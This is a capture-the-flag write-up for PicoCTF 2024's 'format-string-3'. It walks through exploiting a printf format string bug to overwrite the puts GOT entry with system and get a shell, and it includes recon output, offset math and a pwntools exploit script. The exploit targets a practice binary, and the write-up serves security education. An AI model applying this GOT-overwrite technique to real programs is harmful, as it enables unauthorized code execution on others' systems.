--- title: "PicoCTF 2024: format-string-3" excerpt: "Overwriting a GOT (Global Offset Table) entry using a format string vulnerability to get a shell on a 64-bit x86 target" tags: [ctf, pwn] --- ## Recon This challenge was given along with a libc and and interpreter file: ``` $ file format-string-3 format-string-3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=54e1c4048a725df868e9a10dc975a46e8d8e5e92, not stripped $ file libc.so.6 libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=8bfe03f6bf9b6a6e2591babd0bbc266837d8f658, for GNU/Linux 4.4.0, stripped $ file ld-linux-x86-64.so.2 ld-linux-x86-64.so.2: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), static-pie linked, BuildID[sha1]=6ebd6e95dffa2afcbdaf7b7c91103b23ecf2b012, stripped ``` We can see that the main binary uses the interpreter given in the current folder. Taking a quick look at the protections, we see that PIE is enabled on the libc, but not on the main binary. Also, the challenge does not have Full RELRO on the main file: ``` ➜ fmt3 venv $ checksec format-string-3 [*] '/home/qelal/PicoCTF/fmt3/format-string-3' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: b'.' SHSTK: Enabled IBT: Enabled Stripped: No $ checksec libc.so.6 [*] '/home/qelal/PicoCTF/fmt3/libc.so.6' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled ``` That is quite interesting. We can now take a look at the source code: ```c #include #define MAX_STRINGS 32 char *normal_string = "/bin/sh"; void setup() { // setting up the chall } void hello() { puts("Howdy gamers!"); printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf); } int main() { char *all_strings[MAX_STRINGS] = {NULL}; char buf[1024] = {'\0'}; setup(); hello(); fgets(buf, 1024, stdin); printf(buf); puts(normal_string); return 0; } ``` Two interesting things here: - the first is that there is an obvious format string vulnerability on the `printf(buf)` call, which allows for arbitrary read/write as we know; - the second is that we call `puts()` on `/bin/sh`. Of course showing `/bin/sh` to the screen isn't nefarious, but we can take advantage of this argument placement and change `puts()` to something else.. The idea here is that we will have to overwrite an entry in the GOT, to change the `puts("/bin/sh")` call to `system("/bin/sh")` and get a shell. ## Finding the stack user input offset First we'll see where our user input ends up on the stack, by writing a noticeable "A" chain and then spamming `%p` format specifiers until we get there: ``` $ ./format-string-3 Howdy gamers! Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f833ed353f0 AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p. AAAAAAAA0x7f833ee93963.0xfbad208b.0x7fff4c619340.0x1.(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70. /bin/sh ``` It seems to be at position 38. Just to be sure: ``` $ ./format-string-3 Howdy gamers! Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f48bdb1b3f0 AAAAAAAA%38$p AAAAAAAA0x4141414141414141 /bin/sh ``` Yep, that is our offset. ## Leaking libc addresses One thing we notice from the program's behavior is that it gives us the address for a random C function, `setvbuf`. It is not really useful for us in itself, but we can use this knowledge to leak the libc base address, or directly another function's address. I chose not to bother with the libc base here, and go straight for `system()`. So, from static analysis on the `libc.so.6` file, we can find the offsets for `setvbuf` and also for `system`: ``` .text:000000000004F760 system proc near ; DATA XREF: LOAD:000000000000B160↑o [...] .text:000000000007A3F0 setvbuf proc near ; CODE XREF: setlinebuf+D↓j ``` We have both offsets. Knowing this, we can establish the difference between those two symbols, and get the address we want from `setvbuf`'s leak: ``` difference = 0x7A3F0 - 0x4F760 = 0x2AC90 system() = setvbuf() - 0x2AC90 ``` Perfect! Now when the program will leak `setvbuf`, we will simply catch the address, and derive `system` from it. ## Finding puts in the GOT The last information we need for the exploit to succeed is the address of `puts`. We can find it using dynamic analysis with Pwndbg: breaking when we're in the program and noting the address from here: ``` pwndbg> got Filtering out read-only entries (display them with -r or --show-readonly) State of the GOT of /home/qelal/PicoCTF/fmt3/format-string-3: GOT protection: Partial RELRO | Found 4 GOT entries passing the filter [0x404018] puts@GLIBC_2.2.5 -> 0x7ffff7e59bf0 (puts) ◂— endbr64 [0x404020] __stack_chk_fail@GLIBC_2.4 -> 0x401040 ◂— endbr64 [0x404028] printf@GLIBC_2.2.5 -> 0x7ffff7e36250 (printf) ◂— endbr64 [0x404030] fgets@GLIBC_2.2.5 -> 0x7ffff7e57d40 (fgets) ◂— endbr64 ``` So, in the GOT, `puts` is at `0x404018`. No PIE so it stays the same everytime. ## Automating the format string exploitation Now we know that we have to write the address for `system` (that we leaked), instead of `puts`, at offset 38 on the stack. Writing a manual exploit is long and boring (although it's important to grasp the knowledge of how the format string arbitrary write works, but once you've done it, I'd consider using the automated helper from Pwntools to save some time) so we'll go with `fmtstr_payload`: ```python io = start() io.recvline() setvbuf_addr = int(io.recvline().split(b"libc: ")[1].strip(b'\n'), 0) system_addr = setvbuf_addr - 0x2AC90 puts_plt_addr = 0x404018 payload = fmtstr_payload(38, {puts_plt_addr: system_addr}) with open("payload", "wb") as file: file.write(payload) io.sendline(payload) io.interactive() ``` And finally we get our shell: ``` $ cat flag.txt [DEBUG] Sent 0xd bytes: b'cat flag.txt\n' [DEBUG] Received 0x1a bytes: b'picoCTF{G07_G07?_[REDACTED]}' ```